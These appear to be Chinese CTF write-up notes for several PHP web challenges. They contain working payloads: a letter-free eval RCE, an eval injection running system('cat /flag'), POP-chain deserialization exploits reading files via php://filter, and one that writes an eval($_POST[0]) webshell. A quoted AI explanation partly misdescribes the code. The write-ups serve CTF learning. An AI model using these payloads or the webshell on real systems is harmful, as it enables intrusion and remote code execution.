提示?hint
访问看到了源码
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 120) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\->\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}
可以用的是$()+,.0123456789;=[]_{}
,一眼自增RCE,要求长度小于等于120。这里难办的是过滤了/
,之前遇到的payload,但凡短一点的都有斜杠。
$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
//长度118 $_GET[1]($_GET[2])
payload:
GET:/?hint=1&1=system&2=tac /ffflllaaaggg
POST:rce=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B
有登录框,先尝试爆破一下
正常是给了源码
但是这道题没给,以后有机会再来复现
gpt的解释
$a=false;
和$b=false;
:定义了两个变量$a
和$b
,并将它们的初始值都设置为false
。
if(11==11)
:条件语句,判断 11 是否等于 11。这个条件是始终为真的,因为 11 确实等于 11。
{ $a=true; }
:当条件为真时,将$a
的值设为true
。
else { $b=true; }
:当条件为假时,将$b
的值设为true
。
if($a===true&&$b===true)
:条件语句,判断$a
和$b
的值是否都为true
,并且类型也必须相等。
eval(system(cat /flag));
:如果条件为真,则执行eval()
函数并传入system(cat /flag)
作为参数。system()
函数用于执行系统命令,而cat /flag
是一个系统命令,用于显示/flag
文件的内容。因此,如果条件为真,就会执行/flag
文件的内容。总体来说,这段代码的逻辑是判断 11 是否等于 11,根据判断结果将
$a
或$b
的值设为true
,然后再次判断$a
和$b
的值,如果都为true
,则执行eval(system(cat /flag));
命令,显示/flag
文件的内容。请注意,这段代码存在安全风险,因为它直接执行系统命令,可能导致命令注入漏洞。
payload:
get:check.php
post: check=1==1) eval(system('cat /flag'));/*
搞得和社工一样
b站第二季第一集的url
class Popuko {
private $No_893;
public function POP_TEAM_EPIC(){
$WEBSITE = "MANGA LIFE WIN";
}
public function __invoke(){
$this->append($this->No_893);
}
public function append($anti_takeshobo){
include($anti_takeshobo);
}
}
class Pipimi{
public $pipi;
public function PIPIPMI(){
$h = "超喜欢POP子ww,你也一样对吧(举刀)";
}
public function __construct(){
echo "Pipi美永远不会生气ww";
$this->pipi = array();
}
public function __get($corepop){
$function = $this->p;
return $function();
}
}
class Goodsisters{
public function PopukoPipimi(){
$is = "Good sisters";
}
public $kiminonawa,$str;
public function __construct($file='index.php'){
$this->kiminonawa = $file;
echo 'Welcome to HNCTF2022 ,';
echo 'This is '.$this->kiminonawa."
";
}
public function __toString(){
return $this->str->kiminonawa;
}
public function __wakeup(){
if(preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i", $this->kiminonawa)) {
echo "仲良ピース!";
$this->kiminonawa = "index.php";
}
}
}
if(isset($_GET['pop'])) @unserialize($_GET['pop']);
else{
$a=new Goodsisters;
if(isset($_GET['pop_EP']) && $_GET['pop_EP'] == "ep683045"){
highlight_file(__FILE__);
echo '欸嘿,你也喜欢pop子~对吧ww';
}
}
pop链
Goodsister::__wakeup()->Goodsister::__toString()->Pipimi::__get()->Popuko::__invoke()->Popuko::append()
序列化构造
class Popuko{
private $No_893='php://filter/read=convert.base64-encode/resource=f14g.php';
}class Pipimi{
public $pipi;
}class Goodsisters{
public $kiminonawa;
public $str;
}
$a=new Goodsisters;
$a->kiminonawa=new Goodsisters;
$a->kiminonawa->str=new Pipimi;
$a->kiminonawa->str->p=new Popuko;echo urlencode(serialize($a));
先扫一下
扫到的东西
robots.txt
star1.php
结合题目,应该是利用ssrf漏洞里边的一个协议
SSRF进内网读取ser.php
,成功读取
找不到反序列化的入口
我们可以用一个工具
Arjun:一款http参数扫描器,主要就是爆破url参数的
我的不知道为什么没扫出来
正常显示
error_reporting(0);
your hat is too black!
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
}
$flag='{Trump_:"fake_news!"}';
class GWHT{
public $hero;
public function __construct(){
$this->hero = new Yasuo;
}
public function __toString(){
if (isset($this->hero)){
return $this->hero->hasaki();
}else{
return "You don't look very happy";
}
}
}
class Yongen{ //flag.php
public $file;
public $text;
public function __construct($file='',$text='') {
$this -> file = $file;
$this -> text = $text;
}
public function hasaki(){
$d = '';
$a= $d. $this->text;
@file_put_contents($this-> file,$a);
}
}
class Yasuo{
public function hasaki(){
return "I'm the best happy windy man";
}
}
?>
5.然后就是怎么触发__tostring方法了,不得不说,这题是蛮坑爹的,看了wp才知道,那个页面的源码中反序列化点会直接输出对象,直接能触发该方法。那么触发方式也有了,最后就是如何绕过死亡die()了。
6.参考网上的绕过死亡die的方法,直接用php过滤器base64-decode对文件内容进行base64解码,它的字符范围包括a-z A-Z 0-9 = /,计算包含在内的字符,以4bytes一位编码来计算需要补多少位。点到phpdienononon一共是13位,需要补3位才能到16位成为4的整数倍。于是payload的base64编码后的一句话木马内容前面加三个a即可。最后,poc:
class GWHT{
public $hero;
public function __construct(){
$this->hero = new Yongen;
}
}
class Yongen{
public $file;
public $text;
public function __construct(){
$this->file = "php://filter/convert.base64-decode/resource=shell.php";
$this->text="aaaPD9waHAgQGV2YWwoJF9QT1NUWzBdKTs/Pg==";
}
}echo urlencode(serialize(new GWHT));
?>
PD9waHAgQGV2YWwoJF9QT1NUWzBdKTs/Pg==
得到回显,连接蚁剑或者命令执行都可以